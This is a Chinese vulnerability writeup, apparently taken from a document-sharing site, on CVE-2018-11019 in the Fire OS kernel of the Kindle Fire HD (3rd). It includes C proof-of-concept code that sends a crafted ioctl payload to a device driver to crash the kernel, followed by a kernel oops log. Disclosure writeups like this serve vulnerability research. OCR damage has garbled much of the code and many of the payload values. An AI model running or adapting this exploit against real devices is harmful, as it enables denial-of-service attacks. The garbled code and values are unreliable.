（CVE-2018-11019）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx

《（CVE-2018-11019）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx》由会员分享，可在线阅读，更多相关《（CVE-2018-11019）Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞.docx（10页珍藏版）》请在优知文库上搜索。

1、(CVE-2018-11019) Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞一、漏洞简介Amazon Kindle Fire HD (3rd)是美国亚马逊(AmaZOn)公司的一款 FireOS 平板 电脑设备。Fire OS是运行在其中的一套专用于AmaZOn设备的基于Android开发 的移动操作系统。kernel是其中的一个内核组件。Amazon Kindle Fire HD(3rd) Fire OS 4.5.5.3版本中的kernel组件的 kernel/omap/drivers/misc/gcx/gcioctl/gcif.c 文件

2、存在安全漏洞。攻击者可借助 3221773726命令利用该漏洞注入特制的参数，造成内核崩溃。二、漏洞影响Fire OS 4.5.5.3三、复现过程poc /* This is poc of Kindle Fire HD 3rd* A bug in the ioctl interface of device file devdsscomp causes the system crash via IOCTL 1118064517.* Related buggy struct name is dsscomp_setup_dispc_data.* This Poc should run with pe

3、rmission to do ioctl on devdsscomp.* The -Fowllwing is kmsg of kernel crash infomation:* */#include #include #include #include const static char *driver = devdsscomp; static command = 1118064517;int main(int argc, char *argv, char *env) unsigned int payload = Oxffffffffj 0X00000003j 05d200040, 0x799

4、00008, 0x8f5928bd,0x78b02422, 0X00000000j 0ffffffff, 0xf4c50400, 0007fffff, 08499f562, 0ffff0400, 0001bl31dj 0x60818210, 0X00000007, 0ffffffff, 0X00000000 0x9da9041c, 0cd980400, 0001f03f4, 0x00000007, 0x2a34003f, 07c80d8f3, 0x63102627, 0xc73643a8, 0xa28f0665, 0X00000000j 0689e57b4j 0x01ff0008, 0x5e7

5、324bl, 0xae3b003f, 0x0bl74d86, 0X00000400, 0x2Iffff37, 0xceb367a4j 0x00000040, 0x00000001j 0xec000f9ej 000000001, 0x00000Iff, 0X00000000, 000000000, 00000000f 00425c069j 0x038cc3bej 00000000f, 0x00000080, 0xe5790100, 05blbffff, 00000d355, 0x0000c685, 0xa0070000, 00010ffff, 0x00a0ff00, 000000001,0xff

6、490700j 0x0832ad03, 0x00000006 0X00000002, 000000001j 0x81f871C0, 0x738019cbj 0xbf47ffff, 000000040j 0X00000001, x7fl90f33, 0X00000001, 0x8295769b, 0X0000003f, 0x869f2295, 0ffffffffj 0xd673914fj 0x05055800, 0xed69b7d5j 0X00000000, 0xl07ebbd, 0xd214af8dj 0xffff4a93, 0x26450008, 0x58df0000j 0dl6db084j

7、 0x03ff30dd, 0X00000001, 0x209aff3b, 0xe7850800j 0x00000002, 0x30da815cj 0x426f5105, 00del09d7j 02cla65fcj 0fcb3d75f, 0X00000000, 0X00000001, 08066be5b 0X00000002, 0ffffffffj 0x5cf232ecj 0x680dl469, 0X00000001 0X00000020, 0ffffffff, 0X00000400, 0xdldl2be8j 0X02010200, 001ffcl6f,0xf6e237e6, 0x007f000

8、0, 001ff08f8, 0000f00f9j 0xbad07695, 0X00000000j 0xbaff0000, 0x24040040, 0X00000006 0X00000004, 0X00000000, 0xbc2e9242, 0x009f5f08, 0x00800000? 0X00000000j 000000001, 0xff8800ff, 0X00000001, 0X00000000, 0000003f4, 0x6faa8472, 0X00000400j 0ec857dd5, 0x00000000, 0x00000040, 0xffffffff, 0x3f004874, 0x0

9、000b77a, 0xec9acb95, 0xfacc0001 0xffff0001, 00080ffff, 0x3600ff03, 000000001, 0x8fff7d7f, 0x6b87075a, 0X00000000, 0X41414141, 041414141j 041414141, 0x41414141, 0X00100Iff, 0X00000000j 0X00000001j 0fflf0512, 0X00000001j 0x51e32167, 0xcl8c55ccj 0X00000000? 0xffffffff,0xb4aafl2b 0x86edfdbd, 0X00000010,

10、 00000003fj 0abff7b00, 0xffff9ea3j 0xb28e0040, 0x000fffff, 0x458603f4, 0ffff007f, 0xa9030f02, 0X00000001j 0x002Cffff, 09e00cdffj 000000004j041414141, 041414141, 0x41414141, 0x41414141 ；int fd = 0;fd = open(driverj O_RDWR);if (fd datalocaltmplog);return -1;)printf(Try open %s with command 0x%x.n”, dr

11、iver, command); printf(System will crash and reboot.n);if(ioctl(fdj command, Spayload) datalocaltmplog);return -1;close(fd);return 0;崩溃日志164.793151 Unable to handle kernel NULL pointer dereference at virt ual address 00000037164.802459164.805664164.813415164.819458164.8272391)164.834686164.839416pgd

12、 = c26ec00000000037 *pgd=82f42831, *pte=00000000j *ppte=00000000Internal error: Oops: 17 #1 PREEMPT SMP ARMModules linked in: omaplfb(0) pvrsrvkm(O) pvr_logger(0)CPU: 1Tainted: GO (3.4.83-gd2afc0bae69 #PC is at LR is atdev-ioctl+04ac0xl0c4down_timeout+0x40/0x5c164.844146164.844146164.857116164.86312

13、8 0f164.870391 00PC : SP : 0: r7 :r3 :c25ale70 00000000 C0a25b5000001403Ir : psr: 60000013iP r9 r6:c25ale50:d8caca8 :c25a0000：00000000164.877807 Flags: nZCv IRQs on ment userfp : c25alf04r8 : bed5c610r5 : bed5c610 r4 : 000000rl : 20000013 r0 : 000000FIQs on Mode SVC_32 ISA ARM Seg164.885894 Control:

14、 10c5387d Table: 826ec04a DAC: 00000015164.892303164.892333 PC: 0xc0317868:164.897308 7868 30d22003 f02 ela0200d e3c26d7f33a03000e35300000a0001c5e3e0500deafff164.907989 7888 e3c6603f 000 la000021 e24b3064e5963008e295200830d2200333a03000e3530164.918670 78a8 ela01005000 la00001e e51b4060e3a02008e50b3088ela00003ebfcfa5fe3500164.929351 78c8 e3020710 c25 e3500000 Ia0002e0e59f7bdcebf4db32ela010002870038ebf55164.939880 78e8 e5943028 004 e5830000 e5b23070ela08000e5940024ela02007e2841024e5803164.950561